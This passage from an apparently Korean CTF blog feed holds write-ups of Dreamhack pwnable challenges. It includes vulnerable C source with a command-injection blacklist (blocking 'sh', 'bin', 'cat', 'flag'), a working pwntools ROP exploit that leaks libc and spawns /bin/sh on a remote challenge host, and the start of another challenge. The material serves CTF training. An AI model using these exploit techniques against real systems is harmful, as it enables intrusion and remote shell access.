</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">64</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN Dream's Notepad</title><link>https://dig06161.github.io/2023/02/08/dreamhack-pwn-Dnote/</link><pubDate>Wed, 08 Feb 2023 18:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/02/08/dreamhack-pwn-Dnote/</guid><description>드림핵 포너블 Dream&amp;rsquo;s Notepad 문제풀이</description><content:encoded><![CDATA[<p>드림핵 포너블 Dream&rsquo;s Notepad 문제이다. 이 문제를 다운받아 보면 바이너리와 소스코드만 주어진다. 문제 환경은 공개되어 있지 않다.</p>
<p>문제 출제자의 의도는 rtc기법을 사용하라고 일부러 그런것 같은데&hellip; rtc를 까먹고 ROP 노가다를 했다. 일단 소스코드를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">//gcc -o Notepad Notepad.c -fno-stack-protector
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">Initalize</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">   <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">   <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">   <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">main</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">Initalize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Welcome to Dream&#39;s Notepad!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">title</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">,};</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">content</span><span class="p">[</span><span class="mi">64</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">,};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;-----Enter the content-----&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">content</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">content</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">content</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">content</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="sc">&#39;\n&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">content</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nf">strstr</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="s">&#34;.&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;It can&#39;t be..&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nf">strstr</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="s">&#34;/&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;It can&#39;t be..&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nf">strstr</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="s">&#34;;&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;It can&#39;t be..&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nf">strstr</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="s">&#34;*&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;It can&#39;t be..&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nf">strstr</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="s">&#34;cat&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;It can&#39;t be..&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nf">strstr</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="s">&#34;echo&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;It can&#39;t be..&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nf">strstr</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="s">&#34;flag&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;It can&#39;t be..&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nf">strstr</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="s">&#34;sh&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;It can&#39;t be..&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nf">strstr</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="s">&#34;bin&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;It can&#39;t be..&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">tmp</span><span class="p">[</span><span class="mi">128</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">,};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">sprintf</span><span class="p">(</span><span class="n">tmp</span><span class="p">,</span> <span class="s">&#34;echo %s &gt; /home/Dnote/note&#34;</span><span class="p">,</span> <span class="n">content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">system</span><span class="p">(</span><span class="n">tmp</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">FILE</span><span class="o">*</span> <span class="n">p</span> <span class="o">=</span> <span class="nf">fopen</span><span class="p">(</span><span class="s">&#34;/home/Dnote/note&#34;</span><span class="p">,</span> <span class="s">&#34;r&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">p</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">fseek</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">size</span> <span class="o">=</span> <span class="nf">ftell</span><span class="p">(</span><span class="n">p</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">fclose</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">remove</span><span class="p">(</span><span class="s">&#34;/home/Dnote/note&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">message</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">-----Leave a message-----&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="n">size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Bye Bye!!:-)&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>첫번째로 read 함수를 통해 63만큼의 문자열을 입력 받고 블랙리스트 방식으로 문자열을 검사한다. 문제를 풀고 다른 분들의 풀이를 보니 커멘드 인젝션만으로 푸신 분들도 있었다.</p>
<p>블랙리스트 검사를 통과하면 echo를 통해 입력한 문자열을 쉘에 출력하고 출력한 값을 /home/Dnote/note에 저장한다. 이후 system함수를 통해 /home/Dnote/note에 저장된 데이터를 실행한다. 그 다음으로 fopen을 통해 /home/Dnote/note 파일을 오픈하는데 파일이 존재할 경우 size 변수에 파일 사이즈 +1을 해주고 파일을 삭제한다. 파일이 없으면 size는 초기화 상태인 0으로 고정된다.</p>
<p>이후 256사이즈의 버퍼에 read 함수를 통해 입력 받는데 입력 가능한 사이즈는 size-1이다. 여기서 unsigned int와 signed int변환 간에 생기는 취약점이 있다. 위의 fopen으로 오픈한 파일이 존재하지 않으면 size 변수는 0을 가지고 있는데 여기서 -1을 해 사이즈를 지정한다. 이때 보수 연산을 통해 결국 read가 읽을 수 있는 값은 int의 가장 큰 수가 된다. 따라서 버퍼 오버플로우를 일으킬 수 있다.</p>
<hr>
<p>내가 작성한 익스플로잇을 간단히 설명해보겠다.</p>
<p>우선 버퍼 오버플로우가 가능하려면 /home/Dnote/note 파일이 존재하지 않아야 한다. 따라서 백틱( ` )을 이용해 오류를 발생시켜 파일이 생성되지 않도록 했다. 백틱은 쌍을 이뤄 사용해야 한다. 하나만 사용되면 오류가 발생해 백틱을 열었으면 백틱을 한번 더 입력 해 닫아줘야 한다.</p>
<p>ROP를 통해서 read_got를 put_plt 함수로 출력하고 이후 다시 main함수로 돌아온다. gdb를 통해 확인한 결과 rbp-0x1e0를 통해 read 한 데이터를 입력 받고 있었다. 0x1e0를 dec로 바꾸면 480이고 sfp를 포함하면 488만큼 메모리를 덮어줘야 한다. 이후 pop rdi; ret 가젯을 사용했다.</p>
<p>출력된 read 함수 주소를 이용해 libc base 주소를 계산하고 libc의 system함수 주소와 bin/sh 주소를 찾아 다시 버퍼 오버플로우를 통해 쉘을 실행시켰다.</p>
<p>이런 방법에 문제는 해당 문제의 환경을 모르기 때문에 환경에 따른 libc 오프셋이 바뀔 수 있다. 실제로 우분투 16 18 20 22 버전의 libc를 각각 전부 돌려 쉘을 획득 할 수 있었다.</p>
<p>문제를 풀긴 풀었지만&hellip; 정석대로 풀려면 rtc 공격을 활용해야 한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host3.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">12708</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#c = process(&#34;./Notepad&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;/lib/x86_64-linux-gnu/libc.so.6&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;-----Enter the content-----</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;`&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#pop rdi; ret 0x400c73</span>
</span></span><span class="line"><span class="cl"><span class="n">pr</span> <span class="o">=</span> <span class="mh">0x400c73</span>
</span></span><span class="line"><span class="cl"><span class="n">read_got</span> <span class="o">=</span> <span class="mh">0x602040</span>
</span></span><span class="line"><span class="cl"><span class="n">put_plt</span> <span class="o">=</span> <span class="mh">0x400730</span>
</span></span><span class="line"><span class="cl"><span class="n">main</span> <span class="o">=</span> <span class="mh">0x400957</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">read_got</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">put_plt</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">main</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mi">488</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;-----Leave a message-----</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Bye Bye!!:-)</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span><span class="o">+</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00\x00</span><span class="s2">&#34;</span><span class="p">)</span><span class="o">-</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;read&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;libc_base : &#34;</span><span class="o">+</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;system : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">system</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">binsh</span> <span class="o">=</span> <span class="n">libc_base</span><span class="o">+</span><span class="nb">list</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;/bin/sh&#39;</span><span class="p">))[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;binsh : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mi">488</span> <span class="o">+</span> <span class="n">payload2</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;-----Enter the content-----</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;`&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;-----Leave a message-----</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="n">payload2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN msnw</title><link>https://dig06161.github.io/2023/02/07/dreamhack-msnw/</link><pubDate>Tue, 07 Feb 2023 15:30:00 +0900</pubDate><guid>https://dig06161.github.io/2023/02/07/dreamhack-msnw/</guid><description>드림핵 포너블 msnw 문제풀이</description><content:encoded><![CDATA[<p>드림핵 크리스마스 CTF에 출제된 포너블 문제다. 전체적인 환경에 대한 정보는 따로 주어지지 않았고, 바이너리, 소스코드, 더미 플레그가 제공되었다.</p>
<p>우선 먼저 코드를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cm">/* msnw.c
</span></span></span><span class="line"><span class="cl"><span class="cm"> * gcc -no-pie -fno-stack-protector -mpreferred-stack-boundary=8 msnw.c -o msnw
</span></span></span><span class="line"><span class="cl"><span class="cm">*/</span>
</span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#define MEONG 0
</span></span></span><span class="line"><span class="cl"><span class="cp">#define NYANG 1
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#define NOT_QUIT 1
</span></span></span><span class="line"><span class="cl"><span class="cp">#define QUIT 0
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">Init</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">Meong</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x40</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x130</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;meong 🐶: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x132</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">&#39;q&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">QUIT</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">NOT_QUIT</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">Nyang</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x40</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;nyang 🐱: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%s&#34;</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">NOT_QUIT</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">Call</span><span class="p">(</span><span class="kt">int</span> <span class="n">animal</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">animal</span> <span class="o">==</span> <span class="n">MEONG</span> <span class="o">?</span> <span class="nf">Meong</span><span class="p">()</span> <span class="o">:</span> <span class="nf">Nyang</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">Echo</span><span class="p">()</span> <span class="p">{</span>
